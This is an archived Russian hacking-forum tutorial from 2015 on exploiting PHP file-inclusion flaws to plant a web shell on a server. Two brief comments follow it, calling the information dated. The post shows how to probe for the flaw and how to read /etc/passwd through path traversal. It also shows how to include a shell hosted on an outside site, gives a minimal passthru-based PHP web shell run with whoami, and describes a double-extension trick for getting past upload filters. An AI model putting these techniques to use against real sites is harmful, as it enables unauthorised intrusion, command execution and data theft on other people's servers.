Добро пожаловать, Гость!
Тема закрыта для обсуждения
PHP инклуид и залитие шелла на сервер - Страница 0
Архив закрытых тем | PHP инклуид и залитие шелла на сервер

PHP инклуид и залитие шелла на сервер
2 Июня 2015Как думаю, ты знаешь это
ошибка или дыра в PHP коде.
Попытаюсь объяснить тебе
суть, так как прежде чем
использовать уязвимость
нужно знать, как она действует.
include() – эта php функция
которая может подключать
файл в место, где она
находится.И выполнять его.
Это может быть какой-либо
модуль нужный для работы
сайта
Что можно сделать с помощью
инклуида?
Залить скрипт;
Прочитать директорию;
Пример вызова:
include($file);
Если кто не знаком с пхп то
после знака «$» объявляется
переменная, эта переменная
«file» а в ней путь к
подключаемому модулю. Т.е. у
этой функции есть только один
аргумент – путь. Как ты,
наверное, догадался, мы будем
указывать путь к нужному нам
скрипту. Разберем пример:
Ссылка
index.php?file=prosto.php
здесь используется php скрипт
index.php, в скрипте есть
переменная «file» в нее
записываться ссылка на скрипт
«prosto.php».
Нам нужно проверить есть ли
тут php инклуид,
мы делаем так:
Ссылка
index.php?file=
[xixi]
если есть дыра то появиться
что, то вроде такого
«Warning: main([xixi].php):
failed to open stream: No such
file or directory in /home/user/
www/file.php on line 3»
Он ругается и говорить, что не
может найти «[xixi]».
Значит уязвимость есть.
Можешь радоваться.
Итак, уязвимость мы нашли что
дальше? А дальше как
получится.
Есть два вида инклуида
*Локальный
*Внешний
Разберем внешний:
Ссылка
index.php?file=...e.ru/shell.txt
в переменную file мы записали
путь к шеллу ( www.mysite.ru/
shell.txt) и передали скрипту.
Скрипт прочитает содержимое
файла shell.txt
Ниже мы узнаем какую пользу
это нам принесет
Теперь разберем локальный.
Здесь ты можешь только читать
данные с сервера вот пример
Ссылка
index.htm?page=
../../../../../../etc/passwd
Прочитаем соответственно
директорию "etc/passwd".
Т.е. в локальном мы только
читаем что-то с сервака, а вот
во внешнем есть возможность
заливать из внешних
источников какие-либо
данные.
Вот собственно и вся
реализация этой дыры.
А теперь разберемся с
загрузкой шелла. Собственно
обычно ради этого и нужен
инклуид.
Вообще что такое шелл? Есть
два вида шелла
Просто шел и веб-шел.
Обычный шелл нужен для
удобного диалога юзера с
системой (я про никсы).
А вот веб-шел это как раз то что
мы и разбираем.
Веб-шеллы обычно пишут на
PHP. Содержание его может
быть самое разное. Например
можно с помощью всего одной
функции вывести командную
строку. Но это не очень удобно
(особенно не знаешь какие
команды вводить). Можно
просто выполнить какое-то
действие, например вывести
все директории сервера. В
общем вся мощь PHP. Но
кодеры делают специальную
оболочку с помощью которой
могут управлять или узнавать
инфу с сервера.
Если ты кодишь то можешь
написать свой шелл. Сделать
там все удобные для себя
функции и команды. Также
можно добавить что нибудь
необычное. Шелл лучше
писать с авторизацией входа –
тоесть чтобы всякие
проходимцы туда не совались.
Про написание кода я говорить
не буду. Эта тема другая.
Почитать об этом можно здесь
Ссылка
showthread.php?p=74127
В противном случае
Если ты не кодишь. То нужно
скачать готовый шелл. Но учти
что это не по-мужски. Если ты
не хочешь так и остаться в
новичках, то рано или поздно
нужно учить веб-языки.
Выше я говорил что не буду
описывать процесс написания
веб-шелла. Пожалуй мы
напишем простейший скрипт
для этих целей, чтобы наглядно
рассмотреть его работу.
Открывай блокнот и забивай
вот такие письмена:
passthru($command);
?>
Это я тебе привел самый
классический пример шелла на
PHP. Специально для тех, кто не
утруждается изучением этого
крутейшего языка, поясняю -
функция "PassThru()"
выполняет команду
операционной системы,
полученную в качестве
аргумента. Как видим, в
качестве аргумента у нас
переменная $command, а мы ее
не определили. Самые хитрож...
умные уже догадались, что эту
переменную мы получим из
строки запроса, т.е.:
Ссылка
shell.php?
command=НашаКоманда
И сохраняй под именем
shell.php
Как залить шелл? Сначала
нужно зарегистрироваться на
любом хостинге. Оптимальный
вариант narod.ru. Заливаешь
туда свой скрипт (готовый
шелл) и берешь ссылку.
Едешь на дырявый сайт и
делаешь так:
Ссылка
index.php?
file=...command=whoami
Если ты не сам его писал, то
можно не скачивать, а указать
только ссылку на него.
Ну вот эта команда (whoami)
покажет твой уровень прав в
системе.
Можно использовать команды
данной оси (операционной
системы)
Но это не единственный способ.
Можно залить с помощью SQL
инъекции. Но так как это статья
по инклуиду то поищи инфу в
сети.
Есть вариант залить шелл
можно с помощью Картинки
или других средств загрузки
данных на сервер.
Разберем такую ситуацию. Тебе
можно залить свой аватар на
сервер.
Вместо картинки ты ставишь
шелл с расширением *.php.
Итак, ты пытаешься залить
Shell.php скорее всего не
получиться. На большинстве
сайтов есть фильтр. Т.е. можно
заливать только файлы с
графическими расширениями.
Можно и это обойти вот так:
Shell.php.gif – двойное
расширение. А потом просто
вызвать его.
Надеюсь, ты понял, что это
можно сделать в зависимости
от ситуации.
Комментарии:



tramors, Инфа актуальна на 2005 год. Сейчас такие грубые дыры уже никто не оставляет. За все время своего кодирования я просмотрел тонны чужого кода и ни где не встретил такую уязвимость



инфа итересная лишь бы не использовали как не нужно,дабы не навредить себе и другим